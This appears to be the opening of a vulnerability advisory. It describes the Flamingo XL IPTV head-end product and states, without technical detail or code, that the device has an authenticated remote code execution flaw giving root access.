Summary: Flamingo XL, a new modular and high-density IPTV head-end  
product for hospitality and corporate markets. Flamingo XL captures  
live TV and radio content from satellite, cable, digital terrestrial  
and analog sources before streaming it over IP networks to STBs, PCs  
or other IP-connected devices. The Flamingo XL is based upon a modular  
4U rack hardware platform that allows hospitality and corporate video  
service providers to deliver a mix of channels from various sources  
over internal IP networks.  
Desc: The affected device suffers from authenticated remote code  
execution vulnerability. A remote attacker can exploit this issue  
and execute arbitrary system commands granting her system access  
with root privileges.
